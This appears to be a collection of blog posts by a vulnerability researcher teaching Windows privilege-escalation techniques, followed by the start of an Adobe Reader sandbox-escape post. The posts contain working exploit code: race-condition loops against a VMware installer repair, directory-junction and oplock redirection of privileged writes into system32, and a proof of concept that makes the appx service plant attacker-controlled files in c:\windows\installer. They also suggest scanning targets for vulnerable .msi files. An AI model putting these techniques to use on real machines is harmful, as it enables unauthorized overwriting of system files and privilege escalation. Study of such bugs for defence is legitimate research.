testhandle = CreateFile(L"C:<\\ProgramData\\VMware\\VMware CAF\\pme\\scripts\\stop-listener.bat>", GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, NULL);
} while (testhandle == INVALID_HANDLE_VALUE);
CloseHandle(testhandle);
Full poc code:
https://github.com/SandboxEscaper/chasingpolarbears/tree/master/vmwarebug
(also has headers for junctions and oplocks)
Run polarbear.exe (compile above git project to get the exe) and then run our .msi file again using the repair flag.
Note: You can also pass the /quiet and /norestart flag to hide any UI as shown in the video.
Video takes a while since to finish up.
In this particular case I couldn't get the /norestart flag working for whatever reason.. but maybe you can find a way around it.
Atleast the UI is gone!
Before:
After:
Using this bug we have basically gained write access to a file we would otherwise not have write access to.
Ofcourse exploitability is another thing.
But just look at all the privileged file operations going on, I wouldn't be surprised if atleast one of those is exploitable. And some of the other files in c:\ProgramData\VMware suffer from the exact same bug.
I personally just care about bugs in Microsoft code, so I'm going to stop right here.
Also, I just wanted to demonstrate a filesystem bug that was unpatched, this bug is likely not exploitable, unless any of the files that you can take control over get executed by a higher privileged process, but I have not investigated this.
You can find tons of other third party installers that will start doing weird file operations when passing the repair flag to them (and I definitely recommend messing around with different flags too, you never know).
Also if it starts removing files without impersonation.. that's a good candidate for arbitrary deletes!
You could just find some bugs in third party .msi files and then build a tool that scans the c:\windows\installer directory for any vulnerable ones on the target where you want to achieve privilege escalation (the randomized names won't be a problem, since you can pull all the info you need from the file details programmatically).
I vaguely remember an .msi file belonging to an old Microsoft component creating files and folders directly in c:\ when running it with the repair flag, which really isn't good. (not c:\config.msi, that I will talk about in part two). So there is definitely more bugs out there.
This bug didn't use junctions, but with junctions it is the same routine, you identify a timing window and then figure out the tools you have to use.
III. Directory junctions
a. The code
In this chapter I will explain how they work.
Code to create directory junctions (credits go to @tiraniddo):
https://github.com/SandboxEscaper/chasingpolarbears/tree/master/createjunctions
(you can just copy this project, also has the headers for oplocks in it)
ReparsePoint::CreateMountPoint(L"c:\\bear", L"\\??\\c:\\bear2", L"bear");
The first argument is the junction, the second one the target, the third one is the name but you can put there whatever you want, it doesn't matter at all.
In the second argument you may notice the file path starting with \\??\\, this is actually pointing to the global root.
It may be a good habit to precede your target file-path with this, as this could bypass some obscure checks. (found a bug where this was the case in the past)
b. What is a directory junction?
Bear is a junction, bear2 is not, you can see the icon is different.
It is basically like a shortcut, but unlike a shortcut, code trying to do file operations with junctions won't notice that it isn't a regular folder. Which is why junctions are so powerful.
For example, you can turn folder "C:\bear" into a junction that points to "C:\bear2".
Now if a program tries to write to "C:\bear" it will follow the junction and actually write to "c:\bear2".
This is useful, because when a program tries to write to a folder, you can plant a junction there, and redirect the write to somewhere else.
Programs are not aware of junctions and will blindly follow them unless the "FILE_FLAG_OPEN_REPARSE_POINT" flag is passed. When this is the case it will not follow the junction.
However, this flag only applies to the folder being opened. So if "C:\thisisajunction\blah" is being opened, it will only check blah for a junction and is blind to the fact that "C:\thisisajunction" is actually a junction.
This is how you would bypass these types of checks.
You can see in Process Monitor when a junction is being followed:
When we run "mkdir c:\bear\blah", where c:\bear is a junction pointing to c:\bear2, you will see the folder being created in c:\bear2 instead in Process Monitor.
Notice the first one, where the result says "REPARSE", this means a redirection happened, because we wrote into a junction.
c. conclusion
See it like a wormhole!
This is nothing but a tool.
Know that you can create wormholes in the filesystem to redirect file/folder operations (creating files and folders, reading/writing files, and so on..).
Forget all the rest, forget the technical side of it, because that's how people get lost, especially when starting out, simplify things in your head... you have the power to create wormholes in the filesystem, that's all.
In part two I will show you how to use Junctions when you can't just win a race condition by spamming CreateFile!
Chasing polar bears: part two
Writing a PoC and hitting timing windows
A. Opportunistic locks
Opportunistic locks, or simply, Oplocks, are a way to lock a file when a certain type of operation is performed on it.
For example, you can lock a file when a write operation occurs, this will delay the write operation for as long as you want and you can do stuff in a callback function, the write operation will only happen after returning from the callback function, a.k.a releasing the lock.
Let's say we have the following set-up:
1. c:\a is a junction pointing to c:\c
3. We place an Oplock on c:\c\notepad.exe that triggers on write.
2. A program tries to write to c:\a\notepad.exe (resolves to c:\c\notepad.exe)
4. The lock triggers, delaying the write operation. We can now modify the junction c:\a to point to c:\windows\system32.
5. Our program tries to write to c:\windows\system32\notepad.exe once the lock is released.
Oplocks buy you time to exploit a timing window, because it freezes the file operation right before it happens.
What you can't do is modify the file that has the Oplock, this is why a lot of cases are a lot more complicated and require other mechanisms to hit your timing window.
If you can use a simple "bait and switch" (as the above is called), you should. It's by far the most reliable, if that is not an option.. continue reading.
B. Thread Priority, loops and Oplocks
This is a bug that I found all the way in September (patched a while ago).
LINK: https://github.com/SandboxEscaper/Bug (has video demo too of the bug and a readme.. I suggest using these materials to better understand this write-up)
The way this bug worked:
If we install a store app it will write the logo image files to c:\users\%username%\appdata\local\temp first in .tmp format.
Once written to the temp folder, it copies the contents and creates the final .png files in c:\users\%username%\appdata\local\PlaceHolderTileLogoFolder\%random string%.
The bug here is that we can overwrite the temporary .tmp files with our own contents. Then those "tampered" contents are copied and written to a user-writable folder that we can turn into a junction, but without impersonation as SYSTEM.
Since we can't manipulate the length of the timing window in this case (i.e as in a bait and switch scenario), we have to increase execution speed to make thing more reliable, you do this with:
HANDLE bear = GetCurrentThread();
SetThreadPriority(bear, THREAD_PRIORITY_TIME_CRITICAL);
This will give the executing thread the highest priority. Just make sure you have multiple CPU cores.
1. First problem: Getting the name of the random folder
To solve this we turn c:\users\%username%\appdata\local\PlaceHolderTileLogoFolder into a junction to c:\bear. Now we can "poll" c:\bear for the creation of the random folder.
while (continue1 == false) {
hFind1 = FindFirstFileA("C:\\bear\\*", &FindFileData1);
while (FindNextFileA(hFind1, &FindFileData1) != 0)
{
if (strcmp(FindFileData1.cFileName, ".") == 0 || strcmp(FindFileData1.cFileName, "..") == 0)
{
continue;
}
continue1 = true;
break;
}
}
The random folder that gets created won't be write-able by a user. So we simply change the junction on c:\users\%username%\appdata\local\PlaceHolderTileLogoFolder to c:\bear1 (instead of c:\bear), then create the folder with the random name we just found and turn that into a junction pointing to c:\windows\installer (or wherever you want your files planted). The appx service, where the vulnerability lies, is entirely blind to all this junction stuff.
ReparsePoint::CreateMountPoint(ws, L"\\??\\c:\\bear1", L"Polar bears are really cool");
sprintf_s(filepath1, "%s\\%s", path1, FindFileData1.cFileName);
CreateDirectoryA(filepath1, NULL);
wstring blah1;
string bla1(filepath1);
StringToWString(blah1, bla1);
ReparsePoint::CreateMountPoint(blah1, L"\\??\\c:\\windows\\installer", L"Bears are smart then the person reading this");
After it creates the files in the temp folder and then copies the contents and tries to write the final image files to the PlaceHolderTileLogoFolder\%random string% folder, it will now create them in c:\windows\installer because of the structure we've just set up. Next step is taking control of the contents. Arbitrary file creation alone is not useful.
2. Second problem: Overwriting the .tmp file in c:\users\%username%\appdata\local\temp
What we do here is, we first call FindFirstFile on c:\users\%username%\appdata\local\temp\wsu*.tmp.
We keep repeating this until one of these files is found.
string bl(GetAppDataDirectory());
string bl2 = "\\Temp\\wsu*.tmp";
bl.append(bl2);
char filepath[512];
std::string bl3(GetAppDataDirectory());
std::string bl4 = "\\Temp";
bl3.append(bl4);
wstring blahz;
do
{
hFind = FindFirstFileA(bl.c_str(), &FindFileData);
} while (hFind == INVALID_HANDLE_VALUE);
After that we create a lock on it, because we need to overwrite this file AFTER the appx service has written to it. Otherwise our contents will just get overwritten. This means we create a lock, we don't keep it locked but release it as soon as it happens. Using Oplocks like this is different, we don't use the callback function, but just an Oplock to instrument when a write to a file happens, as our race condition is only valid after the write has occured. It's a way to get a specific timing, right BEFORE the vulnerability happens. This is what you always do, you find a way to instrument something that happens right before your timing window, and then use that to actually hit your timing window.
FileOpLock::CreateLock(blahz, test);
The oplock callback function is going to set triggered to true as soon as the lock is activated. But we should only continue code execution AFTER the lock has triggered, this is why we loop QueryPerformanceCounter(&li);. Just do whatever in the loop, doens't matter really. Just dont use sleep(1).. that will add too much delay and might mess up timings.
while (triggered == false)
{
QueryPerformanceCounter(&li);
}
Once the lock is triggered we have our timing window. Now is the time to write to our .tmp file!
Spam createfile a 1000 times! If we still don't succeed after a 1000 times we have most definitely missed the timing window lol.
int count = 0;
do {
hFile = CreateFileA(filepath, // name of the write
GENERIC_WRITE, // open for writing
FILE_SHARE_READ | FILE_SHARE_WRITE, // do not share
NULL, // default security
OPEN_EXISTING, // create new file only
FILE_ATTRIBUTE_NORMAL, // normal file
NULL); // no attr. template
test1 = WriteFile(
hFile, // open file handle
DataBuffer, // start of data to write
dwBytesToWrite, // number of bytes to write
&dwBytesWritten, // number of bytes that were written
NULL); // no overlapped structure
CloseHandle(hFile);
count++;
} while (count < 10000);
Now the appx service will copy the tampered contents and create a file with it into c:\windows\installer (because of the junctions we set up earlier)
Adobe Reader Escape... or how to steal research and be lame.
Version tested:
How to escape sandboxes without technical skills
Tired and stressed out today from sandboxescaping, so I decided to write another blogpost! Because thats fun!
First of all, everything described in here is just copied straight out of these two sources, these people are way more skilled then me:
https://cansecwest.com/slides/2013/Adobe%20Sandbox.pdf
https://media.blackhat.com/bh-eu-12/Liu_Lovet/bh-eu-12-Liu_Lovet-Sandworms-WP.pdf
So, because Adobe is my favorite company (pleaaasseee hire me Adobe, I'll work for free!), I wanted to find more bugs in Adobe software! The following is just me explaining how a dumb person like me can still find sandbox escapes. With this article I'm hoping to lower the bar of entry for everyone, because IT security is stupid, especially sandboxes, and it must die and burn in hell forever.
1. Stealing research
Knowing our target (Adobe reader), we will first have to steal research. I mean... gather all information and previously done research on the target! After you have compiled a list, just go through it all! Just be like those "Borg" things from Star Trek, assimilate stuff.
2. Dumbing it down
If you are like me, then you will probably not understand 99% of the research you just stole. However, using our very advanced technique of dumbing things down, we should be able to make sense of it!
Just ask yourself a series of questions:
What do I want to achieve?
Escape the sandbox
How do I escape a sandbox?
Attack communication between the sandbox and .. the stuff outside the sandbox
Does any of the research I stole mention this type of communication?
Yes, I figured out that the Reader sandbox is based on the chrome sandbox, and that it has something called "crosscalls" to communicate with the broker process (stuff outside the sandbox)
How do I create a crosscall from the sandbox?
It seems there is this function, the Breeding sandworms paper mentioned it. But they didn't say how I could find it! Luckily for me they had this screenshot of the function to send out crosscalls: